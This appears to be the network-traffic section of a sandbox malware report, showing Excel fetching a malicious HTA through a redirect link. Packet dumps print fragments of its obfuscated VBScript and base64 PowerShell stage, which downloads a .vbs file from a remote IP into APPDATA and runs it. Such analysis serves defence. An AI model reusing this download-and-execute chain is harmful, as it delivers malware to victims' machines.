Mar 10, 2025 09:13:38.039176941 CET	1.1.1.1	192.168.2.8	0xd828	No error (0)	star-azurefd-prod.trafficmanager.net	shed.dual-low.s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 09:13:38.039176941 CET	1.1.1.1	192.168.2.8	0xd828	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	azurefd-t-fb-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 09:13:38.039176941 CET	1.1.1.1	192.168.2.8	0xd828	No error (0)	azurefd-t-fb-prod.trafficmanager.net	dual.s-part-0044.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 09:13:38.039176941 CET	1.1.1.1	192.168.2.8	0xd828	No error (0)	dual.s-part-0044.t-0009.fb-t-msedge.net	s-part-0044.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 09:13:38.039176941 CET	1.1.1.1	192.168.2.8	0xd828	No error (0)	s-part-0044.t-0009.fb-t-msedge.net		13.107.253.72	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

link.saja.market

otelrules.svc.static.microsoft

198.23.187.151

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49700	198.23.187.151	80	6152	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
Mar 10, 2025 09:13:24.799276114 CET	246	OUT	GET /xampp/emio/wekissherlipswithbeautifulwordstruelove.hta HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Connection: Keep-Alive Host: 198.23.187.151
Mar 10, 2025 09:13:25.288918972 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 10 Mar 2025 08:13:25 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.1.25 Last-Modified: Mon, 10 Mar 2025 05:09:54 GMT ETag: "3a15-62ff5fb95e765" Accept-Ranges: bytes Content-Length: 14869 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/hta Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 6d 75 6c 61 74 65 49 45 38 22 20 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 53 63 52 49 50 74 20 54 59 50 45 3d 22 74 45 78 54 2f 76 62 73 63 52 69 50 54 22 3e 0d 0a 44 69 6d 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 66 41 42 4d 79 43 69 4b 6b [TRUNCATED] Data Ascii: <!DOCTYPE html><meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" ><html><body><ScRIPt TYPE="tExT/vbscRiPT">Dim dfABMyCiKkOvwWiUnKpvntxKuiPQTyWzQXJRjTesRJGcZPRYQNYUsxelKPnmmBhDAnLRUPqISPRRtzsNwSNmfTWpAiSzqMlqujiUFUpabJXirGMkvhlTnpcTftfaUMiHOUAxgPcoHAAxKTbibPSjFtwRPFDjLicyWBqTnkEuYwafkVmDCXlEWNheRaNvFKTKhmgFMMYopFaBItwrnORzbfkDBMkgqZJmJkwbtdlPVjbhRVGsxwlp ,
Mar 10, 2025 09:13:25.288930893 CET	224	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 78 50 55 6c 7a 73 76 6e 5a 76 58 50 62 78 42 6b 4b 66 53 46 46 72 45 73 4c 61 4e 4a Data Ascii: dxPUlzsvnZvXPbxBkKfSFFrEsLaNJADyAkiWJtRAoQfqrCGSFkqZUGDfnELHNZYLrhlhUqwCNFgYoaisOMMMDNHoyMPNvaaroVawfyHXvcAOXFEwxWubUkgAPSmaVLlLhkCKFYbfdOnKFzxzxxrNidCjZFepCofpLGTSKZfvzwx
Mar 10, 2025 09:13:25.288940907 CET	1236	IN	Data Raw: 45 43 4f 6e 57 42 58 44 52 48 42 76 4c 52 46 74 43 46 53 6b 79 4e 54 61 51 48 4a 76 6f 79 4b 65 75 62 4a 43 6a 7a 65 67 69 47 4d 70 42 67 43 67 47 72 46 64 47 64 45 61 79 4c 6c 7a 68 4f 6c 6b 5a 72 71 53 47 65 42 63 48 20 20 20 20 20 20 20 20 20 Data Ascii: ECOnWBXDRHBvLRFtCFSkyNTaQHJvoyKeubJCjzegiGMpBgCgGrFdGdEayLlzhOlkZrqSGeBcH
Mar 10, 2025 09:13:25.288950920 CET	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 Data Ascii: creAteObjEcT
Mar 10, 2025 09:13:25.288960934 CET	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3a 20 20 20 Data Ascii: :
Mar 10, 2025 09:13:25.288969994 CET	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 3b 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 45 78 28 24 28 69 65 78 28 27 5b 53 59 53 74 65 6d 2e 74 45 58 74 2e 65 6e 43 6f 64 49 6e 67 5d 27 2b 5b Data Ascii: ; iEx($(iex('[SYStem.tEXt.enCodIng]'+[ChAr]0x3a+[char]0X3A+'uTF8.GETstRiNG([sysTEm.cOnVErt]'+[chaR]0x3a+[ChaR]0x3A+'fRomBaSe64stRINg('+[ChAR]34+'JDZGS1U0WjJiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC
Mar 10, 2025 09:13:25.288980961 CET	896	IN	Data Raw: 76 64 32 35 73 62 32 46 6b 56 47 39 47 61 57 78 6c 4b 44 41 73 49 6d 68 30 64 48 41 36 4c 79 38 78 4f 54 67 75 4d 6a 4d 75 4d 54 67 33 4c 6a 45 31 4d 53 39 34 59 57 31 77 63 43 39 6c 62 57 6c 75 62 79 39 7a 5a 57 56 75 59 6d 56 7a 64 48 52 6f 61 Data Ascii: vd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8xOTguMjMuMTg3LjE1MS94YW1wcC9lbWluby9zZWVuYmVzdHRoaW5nc2VudGlyZXRpbWV0b2dpdmVtZWJlc3QuZ0lGIiwiJEVuVjpBUFBEQVRBXHNlZW5iZXN0dGhpbmdzZW50aXJldGltZXRvZ2l2ZW1lYmVzdC52YnMiLDAsMCk7c1RhUlQtU0xlZVAoMyk7SW52T0tlLUl0RW0gIC
Mar 10, 2025 09:13:25.289002895 CET	1236	IN	Data Raw: 74 66 61 55 4d 69 48 4f 55 41 78 67 50 63 6f 48 41 41 78 4b 54 62 69 62 50 53 6a 46 74 77 52 50 46 44 6a 4c 69 63 79 57 42 71 54 6e 6b 45 75 59 77 61 66 6b 56 6d 44 43 58 6c 45 57 4e 68 65 52 61 4e 76 46 4b 54 4b 68 6d 67 46 4d 4d 59 6f 70 46 61 Data Ascii: tfaUMiHOUAxgPcoHAAxKTbibPSjFtwRPFDjLicyWBqTnkEuYwafkVmDCXlEWNheRaNvFKTKhmgFMMYopFaBItwrnORzbfkDBMkgqZJmJkwbtdlPVjbhRVGsxwlp.RUN
Mar 10, 2025 09:13:25.289026976 CET	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: dfABMyCiKkOvwWiUnKpvntxKuiPQTyWzQXJRjTesRJGcZPRYQNYUsxelKPnmmBhDAnLRUPqISPRRtzsNwSNmfTWpAiSzqMlqujiUFUpabJXirGMkvhlTnpcTftfaUMiHOUAxgPcoHAAxKTbibPSjFt
Mar 10, 2025 09:13:25.289046049 CET	448	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 43 48 52 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: CHR (
Mar 10, 2025 09:13:25.295218945 CET	1236	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: )

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49699	3.39.153.44	443	6152	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2025-03-10 08:13:24 UTC	233	OUT	GET /Z8vBZkXtlw?&thing=omniscient&sweatshirt HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: link.saja.market Connection: Keep-Alive
2025-03-10 08:13:24 UTC	512	IN	HTTP/1.1 302 Found Date: Mon, 10 Mar 2025 08:13:24 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 98 Connection: close x-dns-prefetch-control: off x-frame-options: SAMEORIGIN strict-transport-security: max-age=15552000; includeSubDomains x-download-options: noopen x-content-type-options: nosniff x-xss-protection: 1; mode=block location: http://198.23.187.151/xampp/emio/wekissherlipswithbeautifulwordstruelove.hta vary: Accept x-envoy-upstream-service-time: 5 server: istio-envoy
2025-03-10 08:13:24 UTC	98	IN	Data Raw: 46 6f 75 6e 64 2e 20 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 3a 2f 2f 31 39 38 2e 32 33 2e 31 38 37 2e 31 35 31 2f 78 61 6d 70 70 2f 65 6d 69 6f 2f 77 65 6b 69 73 73 68 65 72 6c 69 70 73 77 69 74 68 62 65 61 75 74 69 66 75 6c 77 6f 72 64 73 74 72 75 65 6c 6f 76 65 2e 68 74 61 Data Ascii: Found. Redirecting to http://198.23.187.151/xampp/emio/wekissherlipswithbeautifulwordstruelove.hta

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49701	13.107.253.72	443	6152	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2025-03-10 08:13:39 UTC	226	OUT	GET /rules/excel.exe-Production-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-10 08:13:40 UTC	493	IN	HTTP/1.1 200 OK Date: Mon, 10 Mar 2025 08:13:40 GMT Content-Type: text/plain Content-Length: 1114783 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sun, 09 Mar 2025 06:27:07 GMT ETag: "0x8DD5ED36A70D4F4" x-ms-request-id: b2cddfeb-801e-0035-3bf9-90752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20250310T081340Z-15874666d587bgtrhC1CH1r84w0000000190000000001xu4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2025-03-10 08:13:40 UTC	15891	IN	Data Raw: 31 30 30 30 34 32 76 32 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 34 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 55 58 2e 44 65 73 6b 74 6f 70 2e 4f 66 66 69 63 65 54 68 65 6d 65 2e 41 70 70 2e 49 6e 69 74 22 20 41 54 54 3d 22 63 34 33 38 38 63 39 37 37 32 39 37 34 31 33 62 62 30 35 34 62 61 64 31 61 63 66 30 61 64 65 31 2d 63 63 35 38 65 35 33 65 2d 66 35 61 34 2d 34 66 33 37 2d 62 30 64 32 2d 39 61 38 30 37 39 65 33 34 34 32 30 2d 36 38 37 39 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 31 22 20 49 64 3d 22 63 6d 39 79 35 Data Ascii: 100042v2+<?xml version="1.0" encoding="utf-8"?><R Id="100042" V="2" DC="SM" EN="Office.UX.Desktop.OfficeTheme.App.Init" ATT="c4388c977297413bb054bad1acf0ade1-cc58e53e-f5a4-4f37-b0d2-9a8079e34420-6879" DCa="PSU" xmlns=""> <S> <UTS T="1" Id="cm9y5
2025-03-10 08:13:40 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 30 31 31 37 76 30 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 31 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 31 22 20 49 64 3d 22 38 79 6c 6c 66 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 56 20 56 3d 22 43 6c 69 63 6b 22 20 54 3d 22 57 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 Data Ascii: /> </T></R><$!#>100117v0+<?xml version="1.0" encoding="utf-8"?><R Id="100117" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <UTS T="1" Id="8yllf" /> </S> <C T="W" I="0" O="false"> <V V="Click" T="W" /> </C> <C T="U32
2025-03-10 08:13:40 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 33 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 37 38 31 76 31 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 37 38 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 31 22 20 49 64 3d 22 62 67 6f 34 74 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 68 6c 76 79 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 49 33 32 Data Ascii: </C> <T> <S T="2" /> <S T="3" /> </T></R><$!#>10781v1+<?xml version="1.0" encoding="utf-8"?><R Id="10781" V="1" DC="SM" T="Subrule" xmlns=""> <S> <UTS T="1" Id="bgo4t" /> <UTS T="2" Id="bhlvy" /> </S> <C T="I32
2025-03-10 08:13:40 UTC	16384	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 31 30 30 30 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: <L> <O T="GT"> <L> <S T="1" F="0" /> </L> <R> <V V="1000" T="U32" /> </R> </O> </L> <R> <O T="LE"> <
2025-03-10 08:13:40 UTC	16384	IN	Data Raw: 20 49 3d 22 32 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 46 6c 79 6f 75 74 56 69 64 65 6f 43 61 6c 6c 56 69 64 65 6f 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 32 36 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 33 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 46 6c 79 6f 75 74 53 61 53 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 34 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 46 6c 79 6f 75 74 4f 76 65 72 66 6c 6f 77 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 Data Ascii: I="22" O="false" N="FlyoutVideoCallVideo"> <C> <S T="26" /> </C> </C> <C T="U32" I="23" O="false" N="FlyoutSaS"> <C> <S T="27" /> </C> </C> <C T="U32" I="24" O="false" N="FlyoutOverflow"> <C> <S T
2025-03-10 08:13:41 UTC	16384	IN	Data Raw: 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 39 30 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 4e 44 42 2e 55 6e 6b 6e 6f 77 6e 2e 43 6f 72 72 75 70 74 69 6f 6e 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 53 3d 22 31 30 30 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 45 74 77 20 54 3d 22 31 22 20 45 3d 22 33 39 35 22 20 47 3d 22 7b 32 61 64 66 38 65 32 33 2d 30 61 66 39 2d Data Ascii: coding="utf-8"?><R Id="10907" V="0" DC="SM" EN="Office.Outlook.Desktop.NDB.Unknown.Corruption" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" S="100" DCa="PSU" xmlns=""> <S> <Etw T="1" E="395" G="{2adf8e23-0af9-
2025-03-10 08:13:41 UTC	16384	IN	Data Raw: 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 33 22 20 49 64 3d 22 62 70 66 79 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 34 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 50 68 6f 74 6f 53 69 7a 65 49 6e 42 79 74 65 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 55 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 Data Ascii: "TelemetryShutdown" /> <UTS T="3" Id="bpfy1" /> <F T="4"> <O T="GT"> <L> <S T="3" F="PhotoSizeInBytes" /> </L> <R> <V V="0" T="U64" /> </R> </O> </F> </S> <C T="U
2025-03-10 08:13:41 UTC	16384	IN	Data Raw: 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 65 76 65 6e 74 49 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 31 33 35 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 74 63 69 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 Data Ascii: <L> <S T="4" F="eventId" /> </L> <R> <V V="135" T="I32" /> </R> </O> </F> <F T="7"> <O T="EQ"> <L> <S T="5" F="tcid" /> </L> <R> <V
2025-03-10 08:13:41 UTC	16384	IN	Data Raw: 0d 0a 20 20 20 20 3c 46 20 54 3d 22 31 30 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 46 69 6c 65 50 72 6f 74 65 63 74 69 6f 6e 53 74 61 74 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 35 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 4f 66 54 68 72 6f 77 6e 45 78 63 65 70 74 69 6f 6e 22 3e 0d Data Ascii: <F T="10"> <O T="EQ"> <L> <S T="3" F="FileProtectionState" /> </L> <R> <V V="5" T="U32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="CountOfThrownException">
2025-03-10 08:13:41 UTC	16384	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 72 65 73 75 6c 74 73 5f 49 73 4e 75 6c 6c 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 Data Ascii: <S T="5" F="results_IsNull" /> </L> <R> <V V="false" T="B" /> </R> </O> </L> <R> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.8	49703	13.107.253.72	443	6152	C:\Program Files (x86)\Microsoft Office\root\Office16\EXCEL.EXE

Timestamp	Bytes transferred	Direction	Data
2025-03-10 08:13:48 UTC	214	OUT	GET /rules/rule120607v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; Microsoft Excel 16.0.16827; Pro) Host: otelrules.svc.static.microsoft
2025-03-10 08:13:48 UTC	471	IN	HTTP/1.1 200 OK Date: Mon, 10 Mar 2025 08:13:48 GMT Content-Type: text/xml Content-Length: 204 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6C8527A" x-ms-request-id: 7ff83556-b01e-005c-3e94-914c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20250310T081348Z-15874666d58nj4nghC1CH1z8cw00000005000000000017sm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
